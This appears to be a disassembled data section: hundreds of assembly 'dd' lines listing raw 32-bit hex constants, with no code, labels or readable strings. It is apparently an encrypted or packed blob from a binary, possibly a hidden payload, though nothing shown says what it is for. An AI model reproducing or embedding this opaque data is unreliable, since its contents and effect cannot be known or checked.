		dd 0C0DF2902h, 5C08684Bh, 9C19E4DCh, 0FBED65D3h, 6E25C8F9h
		dd 5D16F1EDh, 0F42EBE51h, 6CD9840h, 0BD6FBF6Ah,	0E92D0BC9h
		dd 0A256E215h, 88F57F15h, 8D3CF38Fh, 902A344Ch,	74B4AD6Bh
		dd 0C1913860h, 7B56C503h, 17BE4DC3h, 0C468AC05h, 0B7E98C60h
		dd 80D7F6C1h, 0B96EDE7h, 951009F7h, 76BF69D0h, 0CE1439Eh
		dd 8BC7C53Ah, 0F87AF526h, 969924E5h, 0E0ED0005h, 292FF02Dh
		dd 0C551FD7Eh, 0F7E86E08h, 5017DCB1h, 52B568ECh, 0E4744DAAh
		dd 0E67F0400h, 4172E967h, 0CDBD3F07h, 0B9CA179Eh, 0E2F78B1Eh
		dd 0F35B5592h, 4620550Bh, 822EFA16h, 7E7B2D57h,	93A4B06Fh
		dd 88FFC64Ah, 0F45B74F7h, 0A54F8DCEh, 3930ED62h, 57C225ACh
		dd 82F7FCE2h, 702C1FCh,	0E11E6442h, 89F62EE2h, 9325E9C4h
		dd 69B2687Dh, 21621FF6h, 0A97809A4h, 0F845BF12h, 0AEDF85EAh
		dd 0E6BA0152h, 127FD01Ch, 0B2BECB6Ah, 27FCD387h, 0CDF5B1h
		dd 0B80D5F6h, 0E83016EDh, 0C3E58B74h, 106473F3h, 0FCFDBE50h
		dd 0A38DA04Eh, 9E477140h, 9A38BAFBh, 0EA960F97h, 0BBEA7181h
		dd 43C5FD6Ch, 90DEBC0Eh, 13B20C8h, 55597FBEh, 32F30142h
		dd 9DE9C732h, 0D45329EBh, 0D605A5F9h, 1DB9F8FBh, 0D9F95756h
		dd 0A2492C20h, 63F29A17h, 0B20842D3h, 0DEC3889Fh, 53223629h
		dd 3B3C6D0Ch, 120AFAC7h, 0AC291FE5h, 5A084076h,	0D9212AE3h
		dd 0EF042D13h, 9ED58A0h, 9C1A6EE2h, 19122300h, 0BFA12F18h
		dd 0C65B812Ah, 2E9F7320h, 4158AC2Ah, 60276108h,	0A8C522D6h
		dd 0A408F1B1h, 0DD010B1Bh, 42ED3681h, 0CDC2C75Bh, 0CBE07C5Dh
		dd 273F9ED5h, 255ED4E9h, 70BFDC27h, 54650AE9h, 0DF0AFD67h
		dd 8889CFDEh, 1431D8E6h, 0E41C045Ah, 0E5A02C25h, 737B7597h
		dd 8D936CC2h, 82CC62B3h, 0FDC62965h, 0D09F7414h, 98B52E9Fh
		dd 0F85F6515h, 8D2E3F09h, 80E96B50h, 0DEBB2083h, 0C0171B4Fh
		dd 0F259268h, 669C50EEh, 0DE04BE5Fh, 28EB08F8h,	4A5B6822h
		dd 503AE4Fh, 0D8AD7007h, 5D2A138Ch, 2A4674B5h, 2C557EECh
		dd 0C0593E48h, 0EA629A68h, 11201D90h, 0A73A9575h, 0F371158Bh
		dd 43E6F40Dh, 941F47D8h, 0A2F54BD7h, 0F2BB46Bh,	0E794BB7Dh
		dd 62812B6Fh, 7D7C6347h, 86C30352h, 11E2528h, 0A7A5ED0Ch
		dd 7ED82143h, 0BEB4F5A2h, 6812E2E9h, 735DF4E6h,	975EA440h
		dd 0BD9F96F7h, 20425654h, 0BD5FC0F2h, 41771646h, 7010004Bh
		dd 9EF28E8h, 0E940D4C1h, 496FF8AFh, 0FD844E65h,	0BD680233h
		dd 79B05624h, 4BBB415Fh, 731224Fh, 37465E74h, 76D55DB3h
		dd 4314B53h, 0E3CC882Fh, 0BD803953h, 0E9E78537h, 9DAE2386h
		dd 7043EEEDh, 9FBB3A4Ah, 0B850019Dh, 4A656B72h,	7CE0802Eh
		dd 291E4742h, 76D2E9C8h, 0F4EEB090h, 78D12F4Ch,	1795F7C3h
		dd 0B1F5E808h, 3B8B80A7h, 0C6767568h, 56505560h, 9A6C70E9h
		dd 57451F8Dh, 664E9818h, 5B301989h, 3DB70C0Fh, 0CFC48BDh
		dd 0BE27E93Fh, 2EC520C9h, 0DF09FB5Fh, 44595792h, 62746850h
		dd 3872A173h, 886EE556h, 2A62271Eh, 0F4BEBF02h,	0BEE510Bh
		dd 54FC499Ah, 0EDD04CBh, 59F0BE12h, 0AE17BEA6h,	58555A25h
		dd 266002BFh, 7C0115C9h, 206CF15Dh, 0BE5F480Ch,	4CB4881Ah
		dd 84934E59h, 0FBB412EEh, 0E05E008Ah, 9A40A26Ch, 3F16B55Dh
		dd 31D2CE4Ah, 94587DEAh, 48A35D5Ah, 68C90B18h, 66BD6408h
		dd 0E42C20AAh, 1B68AD16h, 4AD981E4h, 15EAB315h,	4EFC7B45h
		dd 0D72F8AAFh, 0F9EEAE34h, 606524B7h, 0BA6DA727h, 0BC0B60FAh
		dd 279CFF18h, 68EC8A9Fh
		dd 0F1F1303h, 43F1B825h, 25BDB894h, 94F058C3h, 6804FC9Bh
		dd 1EB22C1Dh, 0EF64AF5Ah, 25E977E0h, 34762891h,	52B8614Eh
		dd 0E17B122Ah, 86129CD7h, 0E13D460Fh, 250DE6E7h, 1CFC6F71h
		dd 0FD2913A9h, 0F255E031h, 0A401C280h, 0FBEA268Ah, 18201931h
		dd 5C842ADEh, 2E68B1EFh, 173097B5h, 0CCB84A5Dh,	67E8F592h
		dd 0CA9A83B8h, 0CD0354F0h, 16E99279h, 592C2949h, 0F83009B5h
		dd 761E167Dh, 2CD760E9h, 0EC59A2B9h, 38D10E4Ch,	38EB4F2Eh
		dd 0C8B7218Ch, 0B95456C3h, 0F33CC267h, 0FEB5FFE4h, 5E590926h
		dd 0E9B4B8F7h, 2BE26140h, 0CD3994F2h, 0EC07F3Dh, 25842908h
		dd 0D58831DEh, 3E785034h, 12F56880h, 41D5631h, 1D3BEC9Dh
		dd 8FE4C089h, 0B2FC3799h, 0B6520107h, 8E6C2B0h,	91BF4157h
		dd 59D9EED5h, 762E16B7h, 0D70C0650h, 0A10A0CE9h, 0EFFC09C7h
		dd 0CE85FD7Fh, 41B0470Fh, 80908353h, 0EDF72707h, 89D25243h
		dd 49C451FBh, 7EFA71E0h, 0CFAEC182h, 0ABE4132Fh, 38253D2Bh
		dd 8CA0DAAh, 0BE0732A8h, 446751A6h, 0C64716AEh,	6B75B0B1h
		dd 3263AF54h, 7F560DA1h, 1C596AF9h, 9DF3BAA0h, 0EC5EF4ACh
		dd 548F6880h, 641DC279h, 87950A38h, 71C43F44h, 0C1C2EC07h
		dd 351917E2h, 98406C68h, 52A95A2Ah, 16A80B00h, 0A48EBF89h
		dd 3C220DB7h, 3A7CFD67h, 0E982F7F2h, 0CB92D0F2h, 4FC6CB7Fh
		dd 3ED2F90Ch, 21E90929h, 2DDA68A3h, 0CCD39778h,	0C956E986h
		dd 13120F6Bh, 5B4927F5h, 18BD55D0h, 0B3736838h,	2C762DA4h
		dd 5C350425h, 0D2D9F3AEh, 75A1ED2h, 0C58090B5h,	0ED3EC09Fh
		dd 0EBCDBC08h, 0DC425D1Ah, 314FE457h, 2C1AAB77h, 2EE5DD1Dh
		dd 7D2D2A0Bh, 61D15163h, 9148B9Bh, 0ECC216C5h, 1D6C09E5h
		dd 8B80429Eh, 6BF3B52h,	0B9025F9Dh, 88E83634h, 68075651h
		dd 4DC2527Ch, 0A47FDE8Bh, 43C60155h, 0D87E5B1Fh, 0CC16C4F6h
		dd 0E00F3098h, 4870B01Ah, 0BC4B9ECBh, 80EC0779h, 630E5EC3h
		dd 4CD981E9h, 0B904A924h, 0BFDE3EB2h, 5EC25A09h, 0E768500Fh
		dd 0ACBC705Fh, 9C7E71C0h, 0C12C5B40h, 0CB0194EBh, 0C35213Fh
		dd 0BC0AE0DAh, 717C7417h, 1C7F9736h, 0F0682D33h, 0FC0989DBh
		dd 2A59225h, 5E34ABC3h,	13A2A68Ah, 646B84F0h, 71B7FBECh
		dd 6DD668C2h, 45CF74D4h, 8BBB1753h, 0D0E9098Ch,	0C309A439h
		dd 0AA6E95FEh, 48766405h, 0F04BEDF2h, 0EC2DD612h, 4C90D7FEh
		dd 539F7801h, 497BADE1h, 689CD52Fh, 5DF07824h, 2CEE5092h
		dd 77403137h, 0F0202B9h, 0C1013CA8h, 956D1B40h,	943FBB81h
		dd 2A06FAD3h, 0F3301A0h, 13F6752Ah, 0A342B449h,	0F873A905h
		dd 53580768h, 0DC25EB88h, 0A44806EEh, 96EC8DCCh, 0D60CAFFFh
		dd 7CE762AFh, 9FB19477h, 0BA7B4AF6h, 0F45E04B6h, 2D41E052h
		dd 5456EB60h, 98D98E15h, 82455ABEh, 607521A1h, 17BAE3F6h
		dd 871FB631h, 0E363FA5h, 1400F3B6h, 0D9894080h,	0CA9AE93Ch
		dd 9C0CB128h, 0B8ED0997h, 5AB494FFh, 5E5A88B2h,	7B5AE5EEh
		dd 0A7FEF684h, 0FB34E74h, 852FE909h, 0F2620974h, 0A9B0774Fh
		dd 990BBE56h, 0D818FF11h, 107D3DFh, 8E673BB8h, 6B66A403h
		dd 83150E0Bh, 0D214ED4Eh, 0F1256148h, 9A77CEA5h, 3E4D77FDh
		dd 0CEBF5E2Fh, 363EEBEDh, 5AD112EDh, 0FBD397ECh, 8DEFA413h
		dd 3F9249F9h, 2DBF6744h, 2F93CD40h, 6E906FC1h, 4E2EFA02h
		dd 0F4F4E90Bh, 0ABD62FD0h, 49F36850h, 69846275h, 9BBD01F0h
		dd 5A700B39h, 8389B7DCh, 0D1BCDFC8h, 0B8D6F780h, 251C4AF3h
		dd 1B2BF66h, 4B12594Ch,	0A7E0FCC0h, 0A2FD44C5h,	9676BB4Eh
		dd 0BC68134Bh, 0F1406106h, 2E31034h, 0B59DF252h, 94DFE50Bh
		dd 0B6681405h, 9851F50h, 5931BB1Fh, 5C575C7Ch, 9147C735h
		dd 7F922D93h, 0EC165729h, 0C153F497h, 6E710E68h, 7330B0D9h
		dd 5DB64FD2h, 14BFC9Ah,	95E5870h, 803C63C2h, 26D37AF2h
		dd 22789D46h, 36853CA0h, 0D5AEF662h, 0E96675A7h, 0D7F1F728h
		dd 0DFE41AAh, 41924E07h, 5EFC8FB2h, 188989BCh, 0B2F5DFC0h
		dd 49087818h, 4BE390Ch,	0CBE9BB3Eh, 9E55ECA8h, 73E55009h
		dd 97123D79h, 8988FB20h, 7E2B7E7h, 7200DC77h, 60C55C7Dh
		dd 57726853h, 1788C6BDh, 0FD31C9E9h, 0B2954F74h, 82C8F1BEh
		dd 0A13A3D0Ch, 74F8F505h, 0FC020882h, 0BF00261Eh, 3BC46B2Eh
		dd 723EB871h, 0DEC075AFh, 71BFA7E8h, 5BD8420Bh,	80EE5BFDh
		dd 47356857h, 5F01774Fh, 1086CF81h, 3E833155h, 19185B48h
		dd 82929403h, 9829B7DFh, 928B03E9h, 8E5B4FACh, 79B7CEEh
		dd 9EC9D549h, 312EC723h, 7E252BF2h, 0F480492Ch,	0F67B89C2h
		dd 0CA0929FEh, 5FD5ACE9h, 5D97251Ch, 9EF4F05h, 0DB755FCBh
		dd 205C8983h, 0CA4AD6E9h, 9E97A09h, 12AF3B2Fh, 0F76030F9h
		dd 0D26A4A5Ah, 41D404F6h, 0C98101A3h, 38C558E8h, 17935B30h
		dd 16AEF15h, 461A2E80h,	86E6D81Fh, 437CECEAh, 38F8CE05h
		dd 8CC04413h, 0BB94965h, 0BCC6E91Eh, 0F97579A9h, 0AA5713B2h
		dd 2392D2E6h, 0F8D4B425h, 2AEA7ACh, 80649F20h, 1A3A8BE2h
		dd 9843714Ah, 0E30995DCh, 0C69635C5h, 56884BFBh, 1B4ADD02h
		dd 20A383C4h, 9FF36B02h, 0D520ED74h, 0C021064h,	0E91C7165h
		dd 174AF02Ch, 8C01D568h, 514102EFh, 8E20A521h, 6A5E8134h
		dd 0F15B51E0h, 958C3DECh, 808901D6h, 8924D426h,	6A1090BBh
		dd 6C01127Ch, 2903054Fh, 9EAC5BEDh, 0E2842782h,	1D42B056h
		dd 424AEEFEh, 712F6C4h,	93C65013h, 0AA484E58h, 0E07C5F4Bh
		dd 14BABE85h, 0E14FBC42h, 0A02D7B07h, 0B3EE6018h, 0CC4ADA9Fh
		dd 4E7EDAB0h, 1E988C2Eh, 7658E86Ah, 9A0408CFh, 1C7F1F0Fh
		dd 0E9144074h, 2472B035h, 95ED31F0h, 29120ED5h,	73B5765Fh
		dd 0AAE94284h, 9D5F6E59h, 0CA4079C2h, 679D90DCh, 0ECD11792h
		dd 0DE8402B6h, 0FC3103BEh, 13B5AC7Fh, 76D6CC11h, 885983BDh
		dd 580DFAFAh, 0E7803C38h, 2BF70973h, 9C5CF908h,	826E4A58h
		dd 82FDA282h, 2E4C000h,	4EC43980h, 93AEEA4h, 0C728AA0h
		dd 336D3B13h, 5ECF3F01h, 0E9C86E6Ch, 13759416h,	0B9B2EB05h
		dd 5AAEEC97h, 403A878Ch, 78BF5393h, 1B880F22h, 0BAA4221Fh
		dd 249F8AE1h, 2E080551h, 14661EC2h, 0B877BB80h,	409D40FDh
		dd 535D0D07h, 7DB23191h, 0DC7772Fh, 972A7827h, 332E3CFFh
		dd 0EB87B73Eh, 733177A0h, 0CAB4E1F6h, 1DD8BE0Eh, 804E4CC9h
		dd 636EE71Ch, 87E91002h, 57512758h, 0E94185C5h,	243EABFAh
		dd 0F167B57Dh, 0A0EB04E4h, 525AE6C0h, 31C18BFCh, 0D021149Dh
		dd 40EF59CFh, 23235AFh,	2710F33Eh, 303E74C2h, 56CBF2C0h
		dd 8D253B2Eh, 0E6D72C18h, 0CC291AF5h, 4A568439h, 26FB5092h
		dd 0DC73A1D8h, 64685381h, 21BBCA3Dh, 0D5935C0h,	0D5292D0Bh
		dd 0E918521Ch, 5C0A0ECEh, 85C1DE66h, 0BAFEE654h, 946ABF2Dh
		dd 0A2DABFFDh, 6A9CB902h, 0C85F0D5Ah, 13111555h, 0EE51300Fh
		dd 40BA9AD6h, 1827883Ch, 894F158h, 3B289E2Fh, 0AF63BB0Fh
		dd 93786D4Fh, 0F1623E8h, 0D53106ABh, 0AE071F85h, 8B764A39h
		dd 42E9F704h, 0A5B3D17Ah, 0B416382Ch, 565989C2h, 25F4DAC5h
		dd 0D262976Ah, 28830A27h, 0AD0CD72Ah, 4B7EDF22h, 895DF707h
		dd 4C62057Fh, 5B0F1B05h, 0C99F5EECh, 0C856185Ah, 0BCAA5644h
		dd 4537B2E3h, 2C1831C5h, 0EBF0C1DCh, 236866A0h,	0AF4B487Bh
		dd 0BBB9EBC0h, 499A2F59h, 0AD2C405Ch, 2703A708h, 0FB213BDEh
		dd 6EB6860h, 0E9081D28h, 6FDDA437h, 0FFB9A504h,	0D87CE089h
		dd 0B33A15Ah, 0D0885CAh
		dd 4A7E4FCFh, 25AE80E5h, 20143D2h, 7E8C139h, 0DCE8D0F7h
		dd 3E520E22h, 50AE5835h, 508CBAB2h, 13A302B9h, 0C131651Eh
		dd 5DAF7D45h, 253A58AAh, 0FF6871F4h, 392E6804h,	0F81307B3h
		dd 0E870FE11h, 165FBA52h, 0C039060Eh, 9F925DA6h, 3105FB00h
		dd 1523F21h, 0AE910D0h,	80AF4F07h, 0FEE4A375h, 0E5C5CC97h
		dd 10F7B23Fh, 0F72CEE16h, 28BB08D2h, 4262011Ah,	3E515D1Dh
		dd 57545E62h, 27DE3A9h,	7B644C5h, 1885F245h, 5D91BADDh
		dd 3C897051h, 619675DAh, 17403198h, 2CF44F28h, 0E55A88FEh
		dd 974284A0h, 0E6FF2E94h, 4B24FE56h, 0E6F97F12h, 4C1E4784h
		dd 4A60102Ch, 4773BA45h, 0C42E95Dh, 81A7343Eh, 0F0F9BAE3h
		dd 0E92F6785h, 0BFE0618Eh, 0CA56506Fh, 0A842DA04h, 89F8EE1Ah
		dd 4BE90840h, 2F74B182h, 54C171ADh, 6FDB685Bh, 6F0B5F91h
		dd 1E37F32Fh, 271710DDh, 0C0838D09h, 78B2526Fh,	0A7122AECh
		dd 1D507AC3h, 4EA0B353h, 0C642D888h, 18DC97E9h,	899AF727h
		dd 763ECB01h, 0FFB26A34h, 0B86E0841h, 0DEB9F479h, 90D0C327h
		dd 14947595h, 5CE9D617h, 0B9976557h, 797F1809h,	0FF8E8230h
		dd 9FF1D7E6h, 4E26AE80h, 57740A27h, 0F904A62Bh,	0B151035Eh
		dd 0AEF9C7F4h, 84E80B2Dh, 61FCE54h, 74FEE331h, 0A4225F9Dh
		dd 2361E5C1h, 1C136F8Ah, 5B70CEEFh, 98E98C42h, 0F79B6A62h
		dd 2B8B1289h, 0D0F1127Fh, 9E393AA9h, 7A165E3Eh,	0D42B4BBDh
		dd 71064BE1h, 5A3468BAh, 4C568462h, 1D59774h, 0FCE9F1FEh
		dd 0FC5E2168h, 0C42AB929h, 0ABB6EB7Fh, 0BB85AFD6h, 0BDBEB594h
		dd 9DAAD6DCh, 0B2D3B04h, 0FBF19A92h, 8BEC7DD9h,	4F39BE75h
		dd 0AB670E04h, 0B5AB744h, 0D2F7051Dh, 497BC87h,	0F06F093Ah
		dd 2733BDB0h, 87F5EF8h,	0E90908CDh, 0B3BC7047h,	7D044BC7h
		dd 153093Ah, 7FA30E97h,	0E8C3BC87h, 0A707EB60h,	6C98E052h
		dd 0E9690EC7h, 1618F43Bh, 5BBEF0ACh, 928F569Dh,	0BE31C252h
		dd 21582BCAh, 0DDB4562Dh, 88042CBAh, 0A9BB00FEh, 9C45CE0Eh
		dd 23526DAh, 494C1BC9h,	5D5187F8h, 0C0AC3AB2h, 4C362D1Fh
		dd 530768Bh, 0F45B07A1h, 4B381ED1h, 1190FD29h, 6E287F16h
		dd 0E276DCB0h, 0CA094CE8h, 0F068D527h, 1116ACC5h, 0A70BB693h
		dd 25E4D490h, 27B44FDDh, 85979EFAh, 16695E29h, 4B0902F2h
		dd 702FF9C5h, 0EB262CF8h, 0D296D0A4h, 7E624896h, 0F0F84916h
		dd 80F2D5FCh, 20E5E388h, 84E8BAEh, 345A7CE7h, 869CBB04h
		dd 892E5E0Ah, 0CEE87F56h, 0C9EC9416h, 14C86BF9h, 0EAC6BF6Bh
		dd 2A583A98h, 0B1BAA4ACh, 53C27E07h, 6424696Dh,	57A043Fh
		dd 580AE2E1h, 0F64B25ACh, 659362D2h, 2FC6B475h,	279B2695h
		dd 2E2E1CC9h, 0E0A4E3F8h, 3709448Eh, 0F4FA0122h, 3AE9C331h
		dd 55C728E5h, 0B97C1F8h, 285DC5ABh, 0B05C95BDh,	0E407232Dh
		dd 0BB511056h, 5B592755h, 0FBC6171Ah, 4BFA6C4h,	1E074D7Fh
		dd 48B55182h, 121FD628h, 8EBBC759h, 8A107098h, 0FE2443F9h
		dd 0E0CC279Fh, 0DEE9A5F4h, 5F1DE89Ch, 9B749BDh,	58C109h
		dd 0EC4E4994h, 9F89DE6h, 0EBA80537h, 7277816Fh,	0FF38315h
		dd 82A5C112h, 0CB89EE82h, 27EBB160h, 34C02D19h,	58DC70BCh
		dd 9A0CC146h, 0A44E3B39h, 82035C8h, 4F140CD0h, 6093E7A6h
		dd 28086816h, 127E9895h, 40830E11h, 0F34CDE31h,	0DB0AF708h
		dd 1556E068h, 8DE95384h, 0AD2E2DA1h, 0F2BFF4F9h, 0DFBB936Ah
		dd 0C0E90931h, 52739106h, 0D615A37Eh, 111391EEh, 37243A2Bh
		dd 5D82BDC0h, 206BB8A3h, 65BF536Eh, 411709AFh, 9C0BED1Ah
		dd 0A7C0C25Fh, 4B1B3315h, 671BA000h, 88C19038h,	70EB80E7h
		dd 0C163BD18h, 705166A9h, 0D8043F5h, 854D00D6h,	0D9BD5531h
		dd 30000C47h, 0F25CD81h, 0D11FFAh, 2BBF57EDh, 0E9203779h
		dd 0F691E527h, 0B12F78F8h, 0EA0BF699h, 54C0D759h, 6E0FB050h
		dd 0B658C228h, 9DD3C3B0h, 0E3B66F03h, 0A481EA84h, 0EF2AF828h
		dd 974C012Bh, 0D1D76689h, 0E9AD608Fh, 99B2ED18h, 46CBE05h
		dd 17FF1C34h, 0E650EB75h, 2756580Bh, 0A8F72932h, 255440DAh
		dd 22E0BFE9h, 3C120605h, 10FF58B0h, 5A2507B4h, 934865DDh
		dd 0F6F5C5E8h, 0F97E82BEh, 0D814F7FEh, 976A1D20h, 9B421E5Ch
		dd 0DEFA3460h, 0CDBF48C7h, 10CDC0Bh, 5A3305C7h,	92A03BBAh
		dd 24EB6BA4h, 0AC5B7818h, 0C11493B5h, 5E3E79CFh, 2A63810Ch
		dd 0E3EE2948h, 0E9080295h, 11D54093h, 0F23AE83Ch, 8AAB4AB2h
		dd 9A1D1ABCh, 3E407DCBh, 0E2018045h, 99B1516Ch,	31F3CA30h
		dd 0CFE4100Ch, 36A00472h, 0D4F63ACCh, 910E84Ah,	5C7583E9h
		dd 0EF6072DFh, 3F020E50h, 35E94142h, 9CF35146h,	5A030352h
		dd 0A713D031h, 0CAAD06E9h, 2170414Eh, 82257A2Eh, 5467E30Ch
		dd 0B2084070h, 0B96E480Ah, 98A2992Ah, 0A1FB0F00h, 0D97C49D8h
		dd 392D16E2h, 2C2C7A16h, 4EC2D689h, 0DBBBD56Dh,	319BB609h
		dd 0C9B18037h, 4C7466CBh, 9A07CF41h, 0C0266C71h, 73DB6F1h
		dd 0DEA90E4Fh, 2C095150h, 13FBF3C4h, 0F4B3D301h, 813620F8h
		dd 0E92F507h, 0E5655162h, 2101D481h, 13227070h,	0EC0A7478h
		dd 7D50250Ch, 0E92763CEh, 0D85322ADh, 60EAD72Dh, 0D8653CF1h
		dd 68C065F8h, 57026279h, 0F52D5E25h, 0F0297883h, 76E92709h
		dd 0E559A369h, 0AC12C11Ah, 0CAB7992Bh, 5561F402h, 2BFD99A9h
		dd 860275C0h, 520AB211h, 0C95FB60Eh, 90C43FEh, 8919E9C0h
		dd 4EBD8DEh, 5909E64Eh,	0E99A53DFh, 0B328C84Ch,	683AEEDCh
		dd 509097BCh, 1F32D1AEh, 47DEFAE4h, 2FF68041h, 813BF0C1h
		dd 6907D125h, 0E9501CF1h, 0E6BD9016h, 0BD2EDED4h, 0AE93CF7Bh
		dd 0E6803637h, 6C226223h, 78977C58h, 408DEC4Bh,	96061130h
		dd 1F9C481Dh, 64230F4Ah, 0EAF7BEC7h, 49591E17h,	10E8C7C2h
		dd 33BBCD8h, 1D1865B5h,	0A0DF28AFh, 14F6EE6h, 0A956A180h
		dd 0CDD8BD61h, 837F4B09h, 122F8634h, 26E277C7h,	8B870F1Ah
		dd 5587E7B4h, 990B32Ch,	0CED50987h, 7DFC8241h, 4C9777Bh
		dd 7AADF0C4h, 205D9405h, 9885BB5Ch, 64D4ED80h, 1A050248h
		dd 31EBF2A8h, 0D9E82DFh, 0BD6509E3h, 0E9795C18h, 0D1214BAEh
		dd 26BABAAh, 2868FF5Eh,	6D4A31A5h, 2DDE54C0h, 5A753549h
		dd 91AA1Ah, 122EF3E9h, 0D3F33848h, 759A8997h, 0FF109F9Ah
		dd 51BF0272h, 4B5E1E37h, 39525A74h, 0DC72F913h,	0DD3E813h
		dd 0F30A631h, 226BBBBEh, 32370F93h, 0D0802CD0h,	0AED1280Eh
		dd 78CAB7C1h, 0C8885009h, 0DEF6A698h, 5613DDB0h, 660CC628h
		dd 0FEF7F14h, 0FA8DD091h, 2DE0A269h, 0FE622FB0h, 0FF27D940h
		dd 0BF98D7E4h, 752A5D0Fh, 0E4A1C528h, 0B30720FBh, 0E616B068h
		dd 0F916D830h, 0CE9502BBh, 624AB4E9h, 6D3AC875h, 94A05122h
		dd 0D7BFB22Eh, 3F7B9DBBh, 0E98265BDh, 11C586F6h, 18BA682Fh
		dd 0B00EAC7Dh, 43600AD0h, 21E84EF1h, 5A680BEFh,	286C6C54h
		dd 0BB6E007Ah, 0DA2DBE74h, 0E8B5D756h, 1258EE16h, 17DFD6Ah
		dd 2003508Ah, 86B73013h, 49D77817h, 6A503A1h, 0F2CFA360h
		dd 75B0672Fh, 0C1A83020h, 41B774ABh, 8D52BE73h,	1EA14066h
		dd 2DE57B88h, 91E4ADA3h, 2A20B0B0h, 482167BBh, 0FA0534C1h
		dd 477EF060h, 0DE7C606Dh, 6911700Ch, 7DAECEC1h,	5F3A23C0h
		dd 5887FBE4h, 91F73CE1h, 251A22E9h, 10022029h, 0EF204596h
		dd 0C3FA3C24h, 8AD016BBh, 0B0EA7335h, 0A280DEFCh, 41538176h
		dd 0C511A38Bh, 581441Fh, 0BFEDD186h, 41A793A0h,	64A32E84h
		dd 82DDBD97h, 54F8E9DDh
		dd 4C77251Ah, 3F557E95h, 9F620E23h, 705E76F9h, 79059562h
		dd 1062646h, 523271F7h,	71133A6Eh, 2759DC7h, 0D8965CB9h
		dd 0F09DF5DCh, 634B8A52h, 7D3DC24Dh, 5C606851h,	0BF03E768h
		dd 68C2EA65h, 270DFCCCh, 27E594FFh, 0AC41ECE9h,	6FFCD9ADh
		dd 7D529892h, 7B8B277Bh, 4578D92Dh, 0F17CD45Dh,	0FA64094Fh
		dd 0A7E8BC42h, 88003F4Ch, 0B9F68164h, 951DC769h, 0C6FB00DFh
		dd 5C707BBFh, 804A8ACCh, 7709BE17h, 77D0848h, 20644CEEh
		dd 0B1E95373h, 7C62FEEFh, 1350D784h, 542E8EFAh,	0D84AF3E9h
		dd 6BF41BA4h, 0D25EE126h, 3DEB0297h, 10C3725Dh,	831815D5h
		dd 0DC3010C6h, 0D0528282h, 0ABE5F5CAh, 89ABD43Fh, 8AFEF74Ah
		dd 54B981CEh, 0E02EB720h, 7F110E33h, 57194890h,	0E6ED63D2h
		dd 620AF28h, 7A82F0B5h,	0D8F780BCh, 3531E097h, 0C2AD4F9Ch
		dd 0A3DDA7D6h, 9861CAE9h, 52898C2h, 0CCFE5AD4h,	9AED2C0h
		dd 660E4DF8h, 87FB64BEh, 5E77F101h, 0BF862D93h,	0E3C829D3h
		dd 440E4E05h, 0F1E84BBh, 0AD6DD31h, 66ACB240h, 4CB75351h
		dd 0FC229EF6h, 0FAA5EF5Bh, 0B9CDEDECh, 0BDC212ABh, 570C6BAEh
		dd 6B5E6941h, 0E2A6C6B8h, 85E90A09h, 854F7CD9h,	122A0CA9h
		dd 9FA6AEFCh, 12598E50h, 0F0F53A38h, 8D40899Fh,	934EF068h
		dd 9477A5D5h, 70CF3014h, 566CEEBFh, 12AD609h, 94C80FEh
		dd 0B766DE73h, 6B3628E0h, 49E9170Bh, 3CA879D9h,	81C87E37h
		dd 0F0C18158h, 0B97CE603h, 71BE09ECh, 5A2D8952h, 0A0015841h
		dd 1187DE25h, 0F8B0D556h, 54B65FDDh, 61EACF10h,	0FED7793Ch
		dd 0F93162Dh, 0E277F86Eh, 8DBB033Bh, 0F14D8319h, 0C2147EC0h
		dd 7529D714h, 36D12D87h, 37E0C48h, 5B5C6127h, 1B688514h
		dd 20779945h, 5981BD33h, 5C3C3DD9h, 80F9B603h, 0F69916CEh
		dd 10AA04E5h, 0EE2A63EAh, 0BB8B95B5h, 0F6B48577h, 0D8B2A531h
		dd 0E11AC12Eh, 68021520h, 0F410E95Fh, 94D725A0h, 2DD580E0h
		dd 38AA3E4Eh, 5CBF506h,	0BA277225h, 6161481Dh, 6A79BD02h
		dd 0FDE1EDC4h, 0D978AE2Bh, 0D6BB30E9h, 0F5B42DB0h, 9D235D28h
		dd 0E9070861h, 0D17B41AFh, 6920B9BAh, 4B31120Eh, 2A2A3CCAh
		dd 614AA2EBh, 8A7E5649h, 40D48A4h, 5A123CA0h, 4191A8FBh
		dd 0D88B7A08h, 0F770EE5Bh, 9DFF19C7h, 9E7977Fh,	0E457303Ch
		dd 0B478B5C4h, 0D92B9427h, 8437952Ch, 53F6837h,	0DE4BEE28h
		dd 0CDCE7708h, 4A37C69Fh, 0EF66E421h, 3520891Ch, 0D66F29DEh
		dd 0EAD04972h, 0E4601BF0h, 62E1CB2Bh, 0F7B761Dh, 27F510F3h
		dd 0BCF7E964h, 16F94F18h, 239DB10h, 614329B9h, 12437D2Ch
		dd 5E3A2C1Dh, 600130CBh, 1652C360h, 0EB5CBA1Ah,	60083D50h
		dd 6706E60Ch, 0D75D525Bh, 91B7535Eh, 7D5B5ABh, 11C24984h
		dd 0FCDB63C1h, 0FD94E387h, 0D5C2C618h, 1FA5149Dh, 8467EFB9h
		dd 0F024E94Ah, 0A1256883h, 82BE7979h, 540569BCh, 2883F955h
		dd 0F1D87A9Ch, 293EE109h, 5D00196h, 2AD740C9h, 6A530h
		dd 0D73A025h, 107C2D78h, 123C0C4Ch, 74A358C7h, 4C459A86h
		dd 2C07BA4Eh, 2FB45140h, 591D0CF9h, 0EC38D368h,	9156C425h
		dd 3EE989FBh, 0F55AC0B9h, 45BB2E4Ah, 0A85DCAE4h, 0E088480h
		dd 0B70F5C00h, 0E22468C8h, 0C69BCB30h, 1661D1D5h, 0DB2E1588h
		dd 0E8525009h, 99481E1Bh, 7D9495Ah, 70478F42h, 1EC720B4h
		dd 0D9D12127h, 8556E99Eh, 82CB1858h, 3FED545Dh,	0BF477FAh
		dd 0CD01B1A6h, 0A091C677h, 350B63AEh, 101E44F6h, 0F94F08E4h
		dd 0C8E79F0Ah, 82D48C83h, 27787177h, 0F72C1857h, 4A683DF1h
		dd 88936C59h, 0BC4FA43Ah, 0CB8045D5h, 0B5310315h, 39E975E8h
		dd 21413EE1h, 2C1B13D1h, 16330320h, 0FCD3E4ECh,	0D8BE4B3Ah
		dd 1EBA7574h, 675B617Ch, 9BFC2613h, 0F314D186h,	4DA9EB5Bh
		dd 935F0C6Bh, 8DBAE559h, 71F56B65h, 82E90E40h, 0EFB3C99Ah
		dd 5E56E1FFh, 8411C26Ah, 70501077h, 54DF2F26h, 16BD6CF8h
		dd 0F73A200Bh, 621F5EBDh, 4259DDE0h, 0D4C8210Bh, 3462DAFFh
		dd 0C31AF7F2h, 26103h, 0F14C40A7h, 760BB52Ah, 68052B5Ch
